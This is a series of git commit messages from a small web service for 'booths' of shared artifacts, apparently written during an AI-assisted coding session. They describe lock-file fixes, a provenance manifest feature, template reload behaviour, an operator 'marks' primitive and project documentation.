DELIBERATELY NOT FULLY CLOSED The mtime-restore race is real. The clean fix — ignore a booth directory's own mtime whenever the booth holds anything — also silently retires the documented rule that releasing a kept board resets its clock, which the CLI header, the README and a deliberately-written test all pin. That is a TTL doctrine change, not a bug fix, and an existing test caught the attempt. The concrete half is fixed (a failing os.utime escaped and 500'd the route); the race is stated in the code where the next reader will meet it. 341 tests. Live service restarted, 24/24 booth pages verified. |
||
|
|
f3193fb054 |
fix(probe): the disclosure-opening loop was manufacturing its own findings
`page.locator("details:not([open])").all()` hands back POSITIONAL locators
that re-resolve against the current DOM, and `:not([open])` stops matching
an element the moment it is opened — so opening them one at a time shrinks
the set underneath the indices and leaves some closed. Those then report
OCCLUDED, which is exactly the false-positive class the block was added to
remove. One on booth-redesign, three on cr123a-to-d-sleeve, one on
denoise-first-run, and invisible as a bug because a false positive is
shaped like a finding.
Measured both hypotheses rather than guessing between them: per-element
loop against a single document-wide evaluate, at 150 ms and 1000 ms settle.
The loop reports them at either wait; the single pass reports none at
either. The variable was the method, not the timing.
One evaluate over the whole document now. All three pages clean.
Also carries the ROADMAP U5 row, the two-panel record in
persistent-memory.d/, and the memory index line for it.
|
||
|
|
c9a175ba4a |
memory: U5 adoption is a prediction with a re-measure date
Operator declined the fleetwide announcement (2026-09-22) and chose to let the convention propagate through the README alone, specifically so adoption can be distinguished from design. Baseline 0 of 26 booths at landing; re-count 2026-09-29. Near-zero means nobody heard about it, which is a different failure from nobody wanting it. |
||
|
|
a48ef83ef5 |
feat(manifest): U5 — booths that say who posted them and why
The index card showed a name, an item count and a countdown, and nothing
the poster chose. An agent with something to show therefore had no way to
make the booth say "look at this" and posted a URL to the link board
instead — which is why 145 of that board's 210 rows (69%) ended up
pointing at booths that had already been swept. The board was absorbing a
job it was never shaped for. This is the shape.
Each booth carries `.booth.json` — {handle, title, why, created} — written
by the CLI from $ALTHING_HANDLE, and the provenance line renders on both
index lanes and on the booth page header.
WHAT IS WHERE
- booth/manifest.py, stdlib-only and importing nothing from booth.* either:
scripts/booth imports it under the system python3 with no venv, and a
cross-import between two stdlib-only modules is a second way for that
invariant to break. It joins the shared test_stdlib_only list and keeps
a stricter copy of its own.
- The read is lenient and cannot raise. list_booths touches every booth on
every index load, so a manifest that cannot be parsed costs that booth's
provenance and nothing else. That is the v0.2.2 lesson applied before the
same mistake rather than after it.
- Absent and damaged render differently — `unannounced` and `unreadable`.
Folding "cannot be read" into "never said" would hide the one case
somebody has to go and fix.
- Re-announcing preserves `created`. A second `booth add` sharpening the
why is not a second appearance of the booth.
- The write is atomic (invariant 5); the temp file is itself a dotfile, so
no listing can see it mid-write.
THREE OPERATOR CALLS, 2026-09-22
Flags on the existing new/add verbs rather than a separate `announce` verb
(a second step is the step that gets forgotten, which is the rot's own
mechanism). Unannounced booths get a quiet marker rather than nothing — the
convention is only adoptable if the gap is visible. U5 adds provenance only
and does NOT add a second index ordering keyed on announcement time; that
is a different surface needing its own stated rule, parked for v1.1.
NO EXEMPTION LIST
A pickup booth and the standing link board are created by the service, so
they announce themselves with handle `booth`, which is true rather than
manufactured. One rule — a booth with no manifest is unannounced — instead
of a growing set of special cases.
ALSO
tests/test_booth.py's keep/release assertion was slicing the page on the
bare word `boothhead`, which has lived in the stylesheet far longer than
the assertion has; it was reading CSS and passing on luck, and went red the
first time a new rule landed above the old one. Same assertion, aimed at
the markup. A U5 test had the mirror-image bug: pytest derives tmp_path
from the test name and the index renders data_dir, so a test named
`test_an_unannounced_booth_says_so` put the needle in the haystack itself
and passed against a template that did not yet exist.
310 tests (304 before this unit's CLI half). Live service restarted, 26/26
booth pages verified 200, end-to-end smoke through the real CLI.
NOT TAGGED. The cold contract-review panel is still in flight and the
code-review and bug-hunt gates have not run. Tagging with a gate
outstanding is what made v0.2.0 premature.
|
||
|
|
026a1fc392 |
fix(marks): v0.2.2 — nine findings from the cross-frontier bug-hunt panel
`/heid-bug-hunt` on U2's diff, four arms, artifact-only. Eight findings were real against live code; a ninth was already closed by v0.2.1 and is recorded as declined. Full triage in persistent-memory.d/2026-09-22-bug-hunt-panel.md. THE LOCK LIFECYCLE (4/4 convergent, and two defects in one place) `_Locked.__exit__` unlinked `.marks.lock` on the no-op path so a booth that had never been marked was left exactly as it was found. `flock` binds to an INODE: unlinking it under a blocked waiter leaves that waiter holding an exclusive lock on a deleted file while the next writer creates a fresh lock and takes it immediately. Two processes then run the read-modify-write concurrently, the later os.replace drops the earlier one's mark, and both obeyed the protocol. The cleanup existed to protect the booth's TTL, and was failing at that too: creating or removing a directory entry bumps the DIRECTORY's mtime, which is what `_newest_mtime` seeds from. The guard's comment reasons about the lock file's own mtime and misses that the directory moved underneath it. One fix: never unlink the lock, exempt `.<name>.lock` dotfiles from `_newest_mtime`, and restore the directory's mtime after creating one. THE READ PATH'S BLAST RADIUS `_clean_text` did `(text or "").replace(...)` and `marks_for` sorts on `(created, id)`, so a stored `text` that was a dict or a `created` that was a number raised out of the read path. `list_booths` reads every booth's marks on every index load, so one hand-edited file returned 500 for `/` and `/healthz` across all 25 booths. Guarded in two layers — a named type check and a `_hydrate_safe` backstop that cannot raise — and an unreadable mark now renders as ⚠ broken rather than as an empty note. ALSO - import_legacy_asks stamped `created` at whole-second resolution, so two sidecars from the same second lost the ordering the importer had just established and re-sorted alphabetically. Microseconds, per the stated `(mtime, name)` rule. - The five mark-write routes ran a blocking flock on the event loop; they now dispatch through run_in_threadpool, asserted structurally like INV-1. - `/answer` 500'd on a non-string `notes` form value where `/note` handled it. - The inline-doc tile had a flag control and no note field. - The marks panel was suppressed on any booth carrying a links.md. - The viewer's arrow keys and Escape threw away a note being typed. CLI `booth marks` printed a traceback and exited 0 on a failed read, and `--wait` emitted a whole JSON document per poll. `booth answer --wait` read a damaged file as "not yet" and spun the full hour. Both now use real exit codes — 0 ok, 1 unanswered/timed-out, 2 no such pick, 3 unreadable — and `--wait` prints once. `marks.read_error()` lets the CLI ask what the page must not: the browser stays lenient, the machine consumer gets the truth. `scripts/booth` had no tests; it has five now, run against the real script under the system python3, which also makes them a live check on INV-1. 275 tests (253 before). Live service restarted, 25/25 booth pages verified 200. |
||
|
|
70fb15886b |
memory: snapshot — U1 and U2 released at v0.2.1, U5 next
Records what this session learned that the code does not say on its own: the read-lenient/write-strict asymmetry and why pointing both at one reader silently collapses them; that the seam review and the cold contract panel had zero overlap in BOTH directions on one unit, so neither substitutes for the other; that every code-changing panel finding came from the ambiguity pass rather than the paraphrase; and the timing lesson that a tag waits for an outstanding gate. In-flight is set up for U5 with the two things already settled about it, so the next session does not re-derive them: .booth.json is a dotfile and so is already excluded by booth_items, and the deterministic-order invariant applies to whatever it adds to the index card. No version bump — memory snapshot, on the SemVer skip list. |
||
|
|
bb1e3cfcd7 |
fix(booth): templates were hot-reloading into a live service running older Python
19 of 25 live booths returned 500 with `UndefinedError: 'item_marks' is undefined`. Neither the old code nor the new code was broken — the service was running both at once. `booth.service` sets WorkingDirectory to this repo, so the repo IS the deployment root: no build step, no staging copy, the live service imports these files. Python is read once when the process starts. Jinja's FileSystemLoader re-reads a template on EVERY render. So the two halves of the service had different staleness rules, and editing booth.html deployed it instantly against Python from 22:03 that had never heard of the context the new markup wanted. The failure mode is worth naming precisely, because it is invisible to the suite by construction: the skew exists between a running process and the disk underneath it, so every test can pass against a tree that is simultaneously serving 500s. No amount of green catches this. The operator found it. Fixed at the source rather than with a reminder to restart. The template Environment is built here with auto_reload=False, so templates are cached at startup exactly like the Python, and there is ONE rule: nothing takes effect until you restart. The price is that template work needs a restart to see — that price is the entire point, and it is cheaper than a page of 500s while someone is reviewing. Building the Environment by hand means autoescape no longer comes from the Jinja2Templates constructor, so it is explicit and load-bearing: booth names, item names and mark text are all agent- or operator-authored strings that land in HTML. Verified escaped, not merely configured. Two tests hold the line — one on the snapshot property, one on the `dur` filter that is no longer incidental to the constructor. The environment is reachable at app.state.templates because a promise about the deployed service needs an assertion, and an assertion needs the env the app actually renders with. Also records the foot-gun in CLAUDE.md and persistent-memory: anyone editing this repo while the operator may be using the service is editing production. 244 tests. No version bump — the release tier for U2 is still the operator's call, and this rides with it. |
||
|
|
c7f9437a64 |
feat(marks): one primitive for operator judgment, so the loop stops running through chat
Five mechanisms existed to get one question next to one artifact. Three of
them were the same thing wearing different clothes, and the third of the three
had no code at all: the operator picked winners out of a 270-image set and
told the session in conversation. `sindra-finalists` is 86 items, every one
captioned, with the selection encoded in the booth's NAME.
A MARK is operator judgment attached to a target — the booth, or one item in
it, addressed by the `rel` U1 established as item identity. Three shapes:
pick — one of N options a session declared in advance (was: an ask)
note — free text the operator volunteered (had nothing)
flag — this one (had nothing)
One file per booth, one read path, one place openness is computed, one slot
beside the artifact. The storage shape is the operator's call (2026-09-21) and
follows from U4: "does this booth still owe an answer?" gets asked per booth
per sweep tick and per card per index render, so it has to be one read and not
a walk of a booth holding 270 files. Marks are also not links.md — that is an
O_APPEND content-hash log because 17 handles write it concurrently, whereas a
booth's marks see one session and one operator, so locking the common path
costs nothing.
The 2026-09-09 pick semantics are preserved by NOT rewriting them: partial
answers legal, a blank question lands in `unanswered`, `complete` false until
every question has a pick, the only refusal a submission carrying nothing.
`write_answer` split into the pure `build_answer` plus the storage that went
away with the sidecar; `normalize_ask` untouched.
Three findings worth naming, because each was caught by a gate rather than by
reading the diff again:
* The seam review found `inline.place` indexes asks by SUBSCRIPT — the only
consumer in the service that does — so a frozen dataclass breaks it, and
`inline.py` had been missing from the contract's scope entirely.
* A retargeted test found a regression in the legacy importer: a malformed
sidecar that renders "broken" today would have silently vanished on
migration. It now imports carrying its reason.
* A partially-answered pick counted as CLOSED on the index while the panel
beside it rendered it "partial" — the two disagreed about one booth. Open
is the reading U4 needs, and it is declared rather than smuggled in.
`GET /b/<n>/marks.json` is new and load-bearing: sessions on other hosts polled
`<stem>.answer.json` over HTTP, so removing the sidecar without it would have
taken that capability away. `/b/<n>/asks` 308s to `/marks`. Legacy sidecars are
imported, never deleted — four are live and unanswered.
Also records the operator's deterministic-order directive as a cross-cutting v1
invariant, in ROADMAP.md with the per-collection rule table and as CLAUDE.md
invariant 6. The Booth's job is comparison; an order that moves between renders
does not crash, it misfiles the judgment.
242 tests. No version bump — a release tier for this is the operator's call.
|
||
|
|
9272c9872e |
docs: the conventions a fresh session can't infer, and the state it can't reconstruct
The repo came out of eshpfi one day ago with neither piece of its house
furniture, so everything non-obvious about it lived in docstrings inside a
998-line app.py — which is a bad place to keep an invariant that breaks
silently on every fleet host when someone violates it.
CLAUDE.md carries the five that do exactly that:
* links.py and asks.py are stdlib-only because scripts/booth imports them
under the system python3 with no venv, so one third-party import breaks
`booth ask` everywhere and fails in an agent's session, not in ours
* the filesystem is the state, and booth_items()'s dotfile skip is why a
per-booth dotfile is the right shape for new operator state
* booth_items() is the only thing that classifies a file or resolves a
caption (U1's INV-1) — the zoom-loses-the-annotation bug was three
readers of one truth, not a rendering bug
* moved names stay importable from booth.app, asserted by a test
* sidecar writes are atomic; render_doc returns raw text on purpose
Plus the distinction that decided this session's storage call: links.md is
an append log because 17 handles write it concurrently, and marks have one
writer. Different problem, different shape — ask which you have first.
persistent-memory.md carries what CLAUDE.md is structurally unable to: the
dated decisions, the `.forever` prediction and its re-measure date, and the
foot-gun log. Two entries are load-bearing for the next unit — the settled
mark storage shape with the reasoning that picked it, and a measured
correction to U7's premise: every booth that actually needs navigation is
flat, so subfolder sections are worth shipping but are not the nav fix.
No version bump — docs and memory, both on the SemVer skip list.
|